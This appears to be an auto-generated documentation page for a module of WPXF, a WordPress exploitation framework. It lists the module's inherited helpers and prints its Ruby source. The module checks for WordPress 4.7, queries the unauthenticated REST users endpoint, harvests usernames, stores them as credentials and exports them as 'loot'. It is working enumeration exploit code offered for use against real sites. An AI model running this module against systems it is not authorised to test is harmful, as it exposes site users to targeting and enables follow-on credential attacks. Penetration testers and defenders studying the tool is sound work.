Class: Wpxf::Auxiliary::Wp47UserInfoDisclosure

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Helpers::Export
Defined in:
lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Helpers::Export

#export_and_log_loot, #export_path, #generate_unique_filename, #register_export_path_option

Methods included from Db::Loot

#store_loot

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ Wp47UserInfoDisclosure

Returns a new instance of Wp47UserInfoDisclosure.



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 9

def initialize
  super

  update_info(
    name: 'WordPress 4.7 - User Information Disclosure via REST API',
    desc: %(
      The new WordPress REST API allows anonymous access. One of the functions that
      it provides, is that anyone can list the users on a WordPress website without
      registering or having an account.
    ),
    author: [
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '8715'],
      ['URL', 'https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60']
    ],
    date: 'Jan 11 2017'
  )
end

Instance Method Details

#call_users_api ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 41

def call_users_api
  res = execute_get_request(url: users_api_url)

  if res.nil?
    emit_error 'No response from the target'
    return nil
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return nil
  end

  res
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 30

def check
  version = wordpress_version
  return :unknown if version.nil?
  return :vulnerable if version == Gem::Version.new('4.7')
  :safe
end

#output_user_list(api_output) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 57

def output_user_list(api_output)
  headers = [{ id: 'ID', username: 'Username', name: 'Name' }]
  rows = []

  users = JSON.parse(api_output)
  users.each do |user|
    store_credentials user['slug']
    rows.push(id: user['id'], username: user['slug'], name: user['name'])
  end

  rows.sort_by! { |row| row[:id] }
  emit_table headers.concat(rows)
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 71

def run
  return false unless super

  emit_info 'Calling the users API...'
  res = call_users_api
  return false if res.nil?

  emit_info 'Parsing result...', true
  output_user_list res.body

  loot = export_and_log_loot res.body, 'List of usernames from the REST API', 'user list', '.json'
  emit_success "Saved export to #{loot.path}"

  true
end

#users_api_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb', line 37

def users_api_url
  normalize_uri(full_uri, 'wp-json', 'wp', 'v2', 'users')
end